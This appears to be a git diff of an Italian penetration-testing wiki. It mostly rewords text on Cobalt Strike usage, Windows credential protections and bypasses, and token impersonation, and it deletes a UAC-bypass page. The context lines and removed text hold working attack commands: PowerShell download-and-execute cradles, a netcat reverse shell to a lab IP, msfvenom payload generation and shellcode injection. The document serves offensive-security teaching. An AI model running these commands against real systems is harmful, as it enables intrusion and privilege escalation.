@@ -1,5 +1,7 @@
 # Cobalt Strike
 
+{{#include /banners/hacktricks-training.md}}
+
 ### Listeners
 
 ### C2 Listeners
@@ -41,9 +43,9 @@ execute-assembly 
 # Nota che per caricare assembly più grandi di 1MB, la proprietà 'tasks_max_size' del profilo malleable deve essere modificata.
 
 # Screenshots
-printscreen    # Fai uno screenshot singolo tramite il metodo PrintScr
-screenshot     # Fai uno screenshot singolo
-screenwatch    # Fai screenshot periodici del desktop
+printscreen    # Scatta un singolo screenshot tramite il metodo PrintScr
+screenshot     # Scatta un singolo screenshot
+screenwatch    # Scatta screenshot periodici del desktop
 ## Vai su View -> Screenshots per vederli
 
 # keylogger
@@ -77,7 +79,7 @@ elevate uac-token-duplication 
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 
 ## Ruba token da pid
-## Come make_token ma rubando il token da un processo
+## Come make_token ma ruba il token da un processo
 steal_token [pid] # Inoltre, questo è utile per azioni di rete, non azioni locali
 ## Dalla documentazione API sappiamo che questo tipo di accesso "consente al chiamante di clonare il proprio token attuale". Questo è il motivo per cui l'output del Beacon dice Impersonated  - sta impersonando il nostro token clonato.
 ls \\computer_name\c$ # Prova a usare il token generato per accedere a C$ in un computer
@@ -135,7 +137,7 @@ jump [method] [target] [listener]
 ## Metodi:
 ## psexec                    x86   Usa un servizio per eseguire un artefatto Service EXE
 ## psexec64                  x64   Usa un servizio per eseguire un artefatto Service EXE
-## psexec_psh                x86   Usa un servizio per eseguire una riga di comando PowerShell
+## psexec_psh                x86   Usa un servizio per eseguire un one-liner PowerShell
 ## winrm                     x86   Esegui uno script PowerShell tramite WinRM
 ## winrm64                   x64   Esegui uno script PowerShell tramite WinRM
 ## wmi_msbuild               x64   movimento laterale wmi con attività inline c# msbuild (oppsec)
@@ -162,14 +164,14 @@ msf6 exploit(multi/handler) > exploit -j
 
 ## Su cobalt: Listeners > Aggiungi e imposta il Payload su Foreign HTTP. Imposta l'Host su 10.10.5.120, la Porta su 8080 e fai clic su Salva.
 beacon> spawn metasploit
-## Puoi solo avviare sessioni Meterpreter x86 con il listener estero.
+## Puoi solo generare sessioni Meterpreter x86 con il listener estero.
 
 # Pass session to Metasploit - Through shellcode injection
 ## Sul host metasploit
 msfvenom -p windows/x64/meterpreter_reverse_http LHOST= LPORT= -f raw -o /tmp/msf.bin
 ## Esegui msfvenom e prepara il listener multi/handler
 
-## Copia il file bin su host cobalt strike
+## Copia il file bin sul host cobalt strike
 ps
 shinject  x64 C:\Payloads\msf.bin #Inietta shellcode metasploit in un processo x64
 
@@ -202,10 +204,10 @@ Lo script aggressore `https://github.com/outflanknl/HelpColor` creerà il comand
 
 Puoi controllare eventi come `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
 
-- Security EID 4624 - Controlla tutti i logon interattivi per conoscere le ore di lavoro abituali.
-- System EID 12,13 - Controlla la frequenza di spegnimento/accensione/ibernazione.
+- Security EID 4624 - Controlla tutti i logon interattivi per conoscere le abituali ore di lavoro.
+- System EID 12,13 - Controlla la frequenza di spegnimento/accensione/sospensione.
 - Security EID 4624/4625 - Controlla i tentativi NTLM validi/invalidi in entrata.
-- Security EID 4648 - Questo evento viene creato quando vengono utilizzate credenziali in chiaro per accedere. Se un processo lo ha generato, il binario potrebbe avere le credenziali in chiaro in un file di configurazione o all'interno del codice.
+- Security EID 4648 - Questo evento viene creato quando vengono utilizzate credenziali in chiaro per effettuare l'accesso. Se un processo lo ha generato, il binario potrebbe avere le credenziali in chiaro in un file di configurazione o all'interno del codice.
 
 Quando usi `jump` da cobalt strike, è meglio usare il metodo `wmi_msbuild` per far sembrare il nuovo processo più legittimo.
 
@@ -221,7 +223,7 @@ I payload stageless sono meno rumorosi rispetto a quelli staged perché non hann
 
 Fai attenzione quando rubi o generi token perché potrebbe essere possibile per un EDR enumerare tutti i token di tutti i thread e trovare un **token appartenente a un utente diverso** o persino a SYSTEM nel processo.
 
-Questo consente di memorizzare i token **per beacon** in modo che non sia necessario rubare lo stesso token più e più volte. Questo è utile per il movimento laterale o quando hai bisogno di utilizzare un token rubato più volte:
+Questo consente di memorizzare i token **per beacon** in modo che non sia necessario rubare lo stesso token ripetutamente. Questo è utile per il movimento laterale o quando hai bisogno di utilizzare un token rubato più volte:
 
 - token-store steal 
 - token-store steal-and-use 
@@ -272,13 +274,13 @@ Quando si inietta codice in un processo, questo è solitamente molto rumoroso, q
 
 Quando si genera un nuovo processo è importante **mantenere una regolare relazione genitore-figlio** tra i processi per evitare il rilevamento. Se svchost.exec sta eseguendo iexplorer.exe sembrerà sospetto, poiché svchost.exe non è un genitore di iexplorer.exe in un normale ambiente Windows.
 
-Quando un nuovo beacon viene generato in Cobalt Strike, per impostazione predefinita viene creato un processo utilizzando **`rundll32.exe`** per eseguire il nuovo listener. Questo non è molto furtivo e può essere facilmente rilevato dagli EDR. Inoltre, `rundll32.exe` viene eseguito senza argomenti rendendolo ancora più sospetto.
+Quando un nuovo beacon viene generato in Cobalt Strike, per impostazione predefinita viene creato un processo utilizzando **`rundll32.exe`** per eseguire il nuovo listener. Questo non è molto furtivo e può essere facilmente rilevato dagli EDR. Inoltre, `rundll32.exe` viene eseguito senza argomenti, rendendolo ancora più sospetto.
 
 Con il seguente comando Cobalt Strike, puoi specificare un processo diverso per generare il nuovo beacon, rendendolo meno rilevabile:
 ```bash
 spawnto x86 svchost.exe
 ```
-Puoi anche cambiare questa impostazione **`spawnto_x86` e `spawnto_x64`** in un profilo.
+Puoi anche modificare questa impostazione **`spawnto_x86` e `spawnto_x64`** in un profilo.
 
 ### Proxying attackers traffic
 
@@ -360,3 +362,6 @@ cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\Resou
 cd  C:\Tools\cobaltstrike\ArtifactKit  
 pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
 ```
+
+
+{{#include /banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md
index c4dfdfb96..16a0c1019 100644
--- a/src/windows-hardening/stealing-credentials/credentials-protections.md
+++ b/src/windows-hardening/stealing-credentials/credentials-protections.md
@@ -1,7 +1,5 @@
 # Windows Credentials Protections
 
-## Credentials Protections
-
 {{#include ../../banners/hacktricks-training.md}}
 
 ## WDigest
@@ -32,11 +30,11 @@ Questa struttura è compressa in un singolo byte e determina **chi può accedere
 - Quando **LSASS viene eseguito come PPL**, i tentativi di aprirlo utilizzando `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` da un contesto admin normale **falliscono con `0x5 (Access Denied)`**, anche se `SeDebugPrivilege` è abilitato.
 - Puoi **controllare il livello di protezione di LSASS** utilizzando strumenti come Process Hacker o programmaticamente leggendo il valore `EPROCESS.Protection`.
 - LSASS avrà tipicamente `PsProtectedSignerLsa-Light` (`0x41`), che può essere accessibile **solo da processi firmati con un firmatario di livello superiore**, come `WinTcb` (`0x61` o `0x62`).
-- PPL è una **restrizione solo per Userland**; **il codice a livello di kernel può bypassarla completamente**.
+- PPL è una **restrizione solo per Userland**; **il codice a livello di kernel può aggirarla completamente**.
 - Il fatto che LSASS sia PPL non **preclude il dumping delle credenziali se puoi eseguire shellcode del kernel** o **sfruttare un processo con privilegi elevati con accesso appropriato**.
 - **Impostare o rimuovere PPL** richiede un riavvio o **impostazioni di Secure Boot/UEFI**, che possono mantenere l'impostazione PPL anche dopo che le modifiche al registro sono state annullate.
 
-**Opzioni per bypassare le protezioni PPL:**
+**Opzioni per aggirare le protezioni PPL:**
 
 Se desideri eseguire il dump di LSASS nonostante PPL, hai 3 opzioni principali:
 1. **Utilizza un driver del kernel firmato (ad es., Mimikatz + mimidrv.sys)** per **rimuovere il flag di protezione di LSASS**:
@@ -45,7 +43,7 @@ Se desideri eseguire il dump di LSASS nonostante PPL, hai 3 opzioni principali:
 
 2. **Porta il tuo driver vulnerabile (BYOVD)** per eseguire codice del kernel personalizzato e disabilitare la protezione. Strumenti come **PPLKiller**, **gdrv-loader** o **kdmapper** rendono questo fattibile.
 3. **Ruba un handle LSASS esistente** da un altro processo che lo ha aperto (ad es., un processo AV), quindi **duplicalo** nel tuo processo. Questa è la base della tecnica `pypykatz live lsa --method handledup`.
-4. **Abusa di qualche processo privilegiato** che ti consentirà di caricare codice arbitrario nel suo spazio di indirizzamento o all'interno di un altro processo privilegiato, bypassando effettivamente le restrizioni PPL. Puoi controllare un esempio di questo in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) o [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
+4. **Abusa di qualche processo privilegiato** che ti permetterà di caricare codice arbitrario nel suo spazio di indirizzamento o all'interno di un altro processo privilegiato, aggirando effettivamente le restrizioni PPL. Puoi controllare un esempio di questo in [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) o [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump).
 
 **Controlla lo stato attuale della protezione LSA (PPL/PP) per LSASS**:
 ```bash
@@ -55,9 +53,10 @@ Quando esegui **`mimikatz privilege::debug sekurlsa::logonpasswords`** probabilm
 
 - Per ulteriori informazioni su questo controlla [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/)
 
+
 ## Credential Guard
 
-**Credential Guard**, una funzionalità esclusiva di **Windows 10 (edizioni Enterprise ed Education)**, migliora la sicurezza delle credenziali della macchina utilizzando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Sfrutta le estensioni di virtualizzazione della CPU per isolare i processi chiave all'interno di uno spazio di memoria protetto, lontano dalla portata del sistema operativo principale. Questa isolamento garantisce che anche il kernel non possa accedere alla memoria in VSM, proteggendo efficacemente le credenziali da attacchi come **pass-the-hash**. L'**Autorità di Sicurezza Locale (LSA)** opera all'interno di questo ambiente sicuro come un trustlet, mentre il processo **LSASS** nel sistema operativo principale funge semplicemente da comunicatore con l'LSA di VSM.
+**Credential Guard**, una funzionalità esclusiva per **Windows 10 (edizioni Enterprise ed Education)**, migliora la sicurezza delle credenziali della macchina utilizzando **Virtual Secure Mode (VSM)** e **Virtualization Based Security (VBS)**. Sfrutta le estensioni di virtualizzazione della CPU per isolare i processi chiave all'interno di uno spazio di memoria protetto, lontano dalla portata del sistema operativo principale. Questa isolamento garantisce che anche il kernel non possa accedere alla memoria in VSM, proteggendo efficacemente le credenziali da attacchi come **pass-the-hash**. L'**Autorità di Sicurezza Locale (LSA)** opera all'interno di questo ambiente sicuro come un trustlet, mentre il processo **LSASS** nel sistema operativo principale funge semplicemente da comunicatore con l'LSA di VSM.
 
 Per impostazione predefinita, **Credential Guard** non è attivo e richiede attivazione manuale all'interno di un'organizzazione. È fondamentale per migliorare la sicurezza contro strumenti come **Mimikatz**, che sono ostacolati nella loro capacità di estrarre credenziali. Tuttavia, le vulnerabilità possono ancora essere sfruttate attraverso l'aggiunta di **Security Support Providers (SSP)** personalizzati per catturare le credenziali in chiaro durante i tentativi di accesso.
 
@@ -71,13 +70,13 @@ Ulteriori dettagli sull'implementazione di SSP personalizzati per la cattura del
 
 ## Modalità RDP RestrictedAdmin
 
-**Windows 8.1 e Windows Server 2012 R2** hanno introdotto diverse nuove funzionalità di sicurezza, inclusa la _**modalità Restricted Admin per RDP**_. Questa modalità è stata progettata per migliorare la sicurezza mitigando i rischi associati agli attacchi [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
+**Windows 8.1 e Windows Server 2012 R2** hanno introdotto diverse nuove funzionalità di sicurezza, inclusa la _**modalità Restricted Admin per RDP**_. Questa modalità è stata progettata per migliorare la sicurezza mitigando i rischi associati agli attacchi di [**pass the hash**](https://blog.ahasayen.com/pass-the-hash/).
 
 Tradizionalmente, quando ci si connette a un computer remoto tramite RDP, le proprie credenziali vengono memorizzate sulla macchina di destinazione. Questo rappresenta un rischio significativo per la sicurezza, specialmente quando si utilizzano account con privilegi elevati. Tuttavia, con l'introduzione della _**modalità Restricted Admin**_, questo rischio è sostanzialmente ridotto.
 
 Quando si avvia una connessione RDP utilizzando il comando **mstsc.exe /RestrictedAdmin**, l'autenticazione al computer remoto viene eseguita senza memorizzare le proprie credenziali su di esso. Questo approccio garantisce che, in caso di infezione da malware o se un utente malintenzionato ottiene accesso al server remoto, le proprie credenziali non siano compromesse, poiché non sono memorizzate sul server.
 
-È importante notare che in **modalità Restricted Admin**, i tentativi di accesso alle risorse di rete dalla sessione RDP non utilizzeranno le proprie credenziali personali; invece, viene utilizzata l'**identità della macchina**.
+È importante notare che in **modalità Restricted Admin**, i tentativi di accesso alle risorse di rete dalla sessione RDP non utilizzeranno le proprie credenziali personali; invece, verrà utilizzata l'**identità della macchina**.
 
 Questa funzionalità segna un passo significativo avanti nella sicurezza delle connessioni desktop remote e nella protezione delle informazioni sensibili da esposizioni in caso di violazione della sicurezza.
 
@@ -87,9 +86,9 @@ Per ulteriori informazioni dettagliate visita [questa risorsa](https://blog.ahas
 
 ## Credenziali memorizzate
 
-Windows protegge le **credenziali di dominio** attraverso l'**Autorità di Sicurezza Locale (LSA)**, supportando i processi di accesso con protocolli di sicurezza come **Kerberos** e **NTLM**. Una caratteristica chiave di Windows è la sua capacità di memorizzare le **ultime dieci accessi al dominio** per garantire che gli utenti possano ancora accedere ai propri computer anche se il **controller di dominio è offline**—un vantaggio per gli utenti di laptop spesso lontani dalla rete della propria azienda.
+Windows protegge le **credenziali di dominio** attraverso l'**Autorità di Sicurezza Locale (LSA)**, supportando i processi di accesso con protocolli di sicurezza come **Kerberos** e **NTLM**. Una caratteristica chiave di Windows è la sua capacità di memorizzare in cache i **ultimi dieci accessi al dominio** per garantire che gli utenti possano comunque accedere ai propri computer anche se il **controller di dominio è offline**—un vantaggio per gli utenti di laptop spesso lontani dalla rete della propria azienda.
 
-Il numero di accessi memorizzati è regolabile tramite una specifica **chiave di registro o policy di gruppo**. Per visualizzare o modificare questa impostazione, viene utilizzato il seguente comando:
+Il numero di accessi memorizzati in cache è regolabile tramite una specifica **chiave di registro o policy di gruppo**. Per visualizzare o modificare questa impostazione, viene utilizzato il seguente comando:
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 ```
@@ -107,11 +106,11 @@ L'appartenenza al **gruppo Utenti Protetti** introduce diversi miglioramenti del
 - **Windows Digest**: A partire da **Windows 8.1 e Windows Server 2012 R2**, il sistema non memorizzerà nella cache le credenziali in testo chiaro degli Utenti Protetti, indipendentemente dallo stato di Windows Digest.
 - **NTLM**: Il sistema non memorizzerà nella cache le credenziali in testo chiaro degli Utenti Protetti o le funzioni unidirezionali NT (NTOWF).
 - **Kerberos**: Per gli Utenti Protetti, l'autenticazione Kerberos non genererà chiavi **DES** o **RC4**, né memorizzerà nella cache credenziali in testo chiaro o chiavi a lungo termine oltre l'acquisizione iniziale del Ticket-Granting Ticket (TGT).
-- **Accesso Offline**: Gli Utenti Protetti non avranno un verificatore memorizzato nella cache creato al momento dell'accesso o dello sblocco, il che significa che l'accesso offline non è supportato per questi account.
+- **Accesso Offline**: Gli Utenti Protetti non avranno un verificatore memorizzato nella cache creato all'accesso o sblocco, il che significa che l'accesso offline non è supportato per questi account.
 
 Queste protezioni vengono attivate nel momento in cui un utente, che è membro del **gruppo Utenti Protetti**, accede al dispositivo. Questo garantisce che misure di sicurezza critiche siano in atto per proteggere contro vari metodi di compromissione delle credenziali.
 
-Per informazioni più dettagliate, consultare la [documentazione ufficiale](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group).
+Per informazioni più dettagliate, consultare la [documentazione](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) ufficiale.
 
 **Tabella da** [**la documentazione**](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)**.**
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
index 9b957691f..f08645886 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md
@@ -1,7 +1,5 @@
 # Named Pipe Client Impersonation
 
-## Named Pipe Client Impersonation
-
 {{#include ../../banners/hacktricks-training.md}}
 
 Controlla: [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
index 02640808d..8661847e1 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -1,3 +1,5 @@
+# SeDebug + SeImpersonate - Copia Token
+
 {{#include ../../banners/hacktricks-training.md}}
 
 Il seguente codice **sfrutta i privilegi SeDebug e SeImpersonate** per copiare il token da un **processo in esecuzione come SYSTEM** e con **tutti i privilegi del token**. \
diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
deleted file mode 100644
index ff79e59c9..000000000
--- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md
+++ /dev/null
@@ -1,190 +0,0 @@
-# UAC - Controllo Account Utente
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## UAC
-
-[Il Controllo Account Utente (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) è una funzionalità che consente un **messaggio di consenso per attività elevate**. Le applicazioni hanno diversi livelli di `integrità`, e un programma con un **alto livello** può eseguire compiti che **potrebbero compromettere il sistema**. Quando UAC è abilitato, le applicazioni e i compiti vengono sempre **eseguiti sotto il contesto di sicurezza di un account non amministratore** a meno che un amministratore non autorizzi esplicitamente queste applicazioni/compiti ad avere accesso di livello amministratore al sistema per essere eseguiti. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali ma non è considerata un confine di sicurezza.
-
-Per ulteriori informazioni sui livelli di integrità:
-
-{{#ref}}
-../windows-local-privilege-escalation/integrity-levels.md
-{{#endref}}
-
-Quando UAC è attivo, a un utente amministratore vengono forniti 2 token: una chiave per utente standard, per eseguire azioni regolari a livello normale, e una con i privilegi di amministratore.
-
-Questa [pagina](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute in dettaglio come funziona UAC e include il processo di accesso, l'esperienza utente e l'architettura UAC. Gli amministratori possono utilizzare le politiche di sicurezza per configurare come UAC funziona specificamente per la loro organizzazione a livello locale (utilizzando secpol.msc), o configurato e distribuito tramite Oggetti Criteri di Gruppo (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni sono discusse in dettaglio [qui](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Ci sono 10 impostazioni di Criteri di Gruppo che possono essere impostate per UAC. La seguente tabella fornisce ulteriori dettagli:
-
-| Impostazione Criteri di Gruppo                                                                                                                                                                                                                                                                                                                                                           | Chiave di Registro          | Impostazione Predefinita                                      |
-| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
-| [Controllo Account Utente: Modalità di Approvazione Amministrativa per l'account Amministratore integrato](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Disabilitato                                                 |
-| [Controllo Account Utente: Consenti alle applicazioni UIAccess di richiedere elevazione senza utilizzare il desktop sicuro](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Disabilitato                                                 |
-| [Controllo Account Utente: Comportamento del messaggio di elevazione per gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Richiedi consenso per binari non Windows                     |
-| [Controllo Account Utente: Comportamento del messaggio di elevazione per utenti standard](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Richiedi credenziali sul desktop sicuro                      |
-| [Controllo Account Utente: Rileva installazioni di applicazioni e richiedi elevazione](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Abilitato (predefinito per home) Disabilitato (predefinito per enterprise) |
-| [Controllo Account Utente: Eleva solo eseguibili firmati e convalidati](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Disabilitato                                                 |
-| [Controllo Account Utente: Eleva solo le applicazioni UIAccess installate in posizioni sicure](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Abilitato                                                    |
-| [Controllo Account Utente: Esegui tutti gli amministratori in Modalità di Approvazione Amministrativa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Abilitato                                                    |
-| [Controllo Account Utente: Passa al desktop sicuro quando si richiede elevazione](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Abilitato                                                    |
-| [Controllo Account Utente: Virtualizza i fallimenti di scrittura su file e registro in posizioni per utente](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Abilitato                                                    |
-
-### Teoria del Bypass UAC
-
-Alcuni programmi sono **autoelevati automaticamente** se l'**utente appartiene** al **gruppo amministratore**. Questi binari hanno all'interno dei loro _**Manifesti**_ l'opzione _**autoElevate**_ con valore _**True**_. Il binario deve essere **firmato da Microsoft** anche.
-
-Quindi, per **bypassare** il **UAC** (elevare da **livello** di integrità **medio** a **alto**) alcuni attaccanti utilizzano questo tipo di binari per **eseguire codice arbitrario** perché verrà eseguito da un **processo di alta integrità**.
-
-Puoi **controllare** il _**Manifesto**_ di un binario utilizzando lo strumento _**sigcheck.exe**_ di Sysinternals. E puoi **vedere** il **livello di integrità** dei processi utilizzando _Process Explorer_ o _Process Monitor_ (di Sysinternals).
-
-### Controlla UAC
-
-Per confermare se UAC è abilitato, fai:
-```
-REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
-
-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
-EnableLUA    REG_DWORD    0x1
-```
-Se è **`1`** allora UAC è **attivato**, se è **`0`** o non **esiste**, allora UAC è **disattivato**.
-
-Poi, controlla **quale livello** è configurato:
-```
-REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
-
-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
-ConsentPromptBehaviorAdmin    REG_DWORD    0x5
-```
-- Se **`0`** allora, UAC non chiederà (come **disabilitato**)
-- Se **`1`** l'amministratore è **richiesto di fornire nome utente e password** per eseguire il binario con diritti elevati (su Secure Desktop)
-- Se **`2`** (**Sempre notificami**) UAC chiederà sempre conferma all'amministratore quando tenta di eseguire qualcosa con privilegi elevati (su Secure Desktop)
-- Se **`3`** come `1` ma non necessariamente su Secure Desktop
-- Se **`4`** come `2` ma non necessariamente su Secure Desktop
-- se **`5`**(**predefinito**) chiederà all'amministratore di confermare l'esecuzione di binari non Windows con privilegi elevati
-
-Poi, devi dare un'occhiata al valore di **`LocalAccountTokenFilterPolicy`**\
-Se il valore è **`0`**, allora, solo l'utente **RID 500** (**Amministratore integrato**) è in grado di eseguire **compiti di amministrazione senza UAC**, e se è `1`, **tutti gli account all'interno del gruppo "Administrators"** possono farlo.
-
-E, infine, dai un'occhiata al valore della chiave **`FilterAdministratorToken`**\
-Se **`0`**(predefinito), l'**account Amministratore integrato può** eseguire compiti di amministrazione remota e se **`1`** l'account Amministratore integrato **non può** eseguire compiti di amministrazione remota, a meno che `LocalAccountTokenFilterPolicy` non sia impostato su `1`.
-
-#### Riepilogo
-
-- Se `EnableLUA=0` o **non esiste**, **nessun UAC per nessuno**
-- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=1`, Nessun UAC per nessuno**
-- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=0`, Nessun UAC per RID 500 (Amministratore integrato)**
-- Se `EnableLua=1` e **`LocalAccountTokenFilterPolicy=0` e `FilterAdministratorToken=1`, UAC per tutti**
-
-Tutte queste informazioni possono essere raccolte utilizzando il modulo **metasploit**: `post/windows/gather/win_privs`
-
-Puoi anche controllare i gruppi del tuo utente e ottenere il livello di integrità:
-```
-net user %username%
-whoami /groups | findstr Level
-```
-## Bypass UAC
-
-> [!NOTE]
-> Nota che se hai accesso grafico alla vittima, il bypass UAC è semplice poiché puoi semplicemente cliccare su "Sì" quando appare il prompt UAS.
-
-Il bypass UAC è necessario nella seguente situazione: **l'UAC è attivato, il tuo processo sta girando in un contesto di integrità media e il tuo utente appartiene al gruppo degli amministratori**.
-
-È importante menzionare che è **molto più difficile bypassare l'UAC se è al livello di sicurezza più alto (Sempre) rispetto a quando è in uno degli altri livelli (Predefinito).**
-
-### UAC disabilitato
-
-Se l'UAC è già disabilitato (`ConsentPromptBehaviorAdmin` è **`0`**) puoi **eseguire una reverse shell con privilegi di amministratore** (livello di integrità alto) utilizzando qualcosa come:
-```bash
-#Put your reverse shell instead of "calc.exe"
-Start-Process powershell -Verb runAs "calc.exe"
-Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
-```
-#### Bypass UAC con duplicazione del token
-
-- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
-- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
-
-### **Molto** Base UAC "bypass" (accesso completo al file system)
-
-Se hai una shell con un utente che è all'interno del gruppo Amministratori puoi **montare il C$** condiviso tramite SMB (file system) localmente in un nuovo disco e avrai **accesso a tutto all'interno del file system** (anche alla cartella home dell'Amministratore).
-
-> [!WARNING]
-> **Sembra che questo trucco non funzioni più**
-```bash
-net use Z: \\127.0.0.1\c$
-cd C$
-
-#Or you could just access it:
-dir \\127.0.0.1\c$\Users\Administrator\Desktop
-```
-### Bypass UAC con Cobalt Strike
-
-Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al massimo livello di sicurezza.
-```bash
-# UAC bypass via token duplication
-elevate uac-token-duplication [listener_name]
-# UAC bypass via service
-elevate svc-exe [listener_name]
-
-# Bypass UAC with Token Duplication
-runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
-# Bypass UAC with CMSTPLUA COM interface
-runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
-```
-**Empire** e **Metasploit** hanno anche diversi moduli per **bypassare** il **UAC**.
-
-### KRBUACBypass
-
-Documentazione e strumento in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
-
-### Sfruttamenti del bypass UAC
-
-[**UACME** ](https://github.com/hfiref0x/UACME)che è una **compilazione** di diversi sfruttamenti del bypass UAC. Nota che dovrai **compilare UACME utilizzando visual studio o msbuild**. La compilazione creerà diversi eseguibili (come `Source\Akagi\outout\x64\Debug\Akagi.exe`), dovrai sapere **quale ti serve.**\
-Dovresti **fare attenzione** perché alcuni bypass potrebbero **richiedere alcuni altri programmi** che **avviseranno** l'**utente** che sta accadendo qualcosa.
-
-UACME ha la **versione di build da cui ogni tecnica ha iniziato a funzionare**. Puoi cercare una tecnica che influisce sulle tue versioni:
-```
-PS C:\> [environment]::OSVersion.Version
-
-Major  Minor  Build  Revision
------  -----  -----  --------
-10     0      14393  0
-```
-Also, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pagina ottieni la versione di Windows `1607` dalle versioni di build.
-
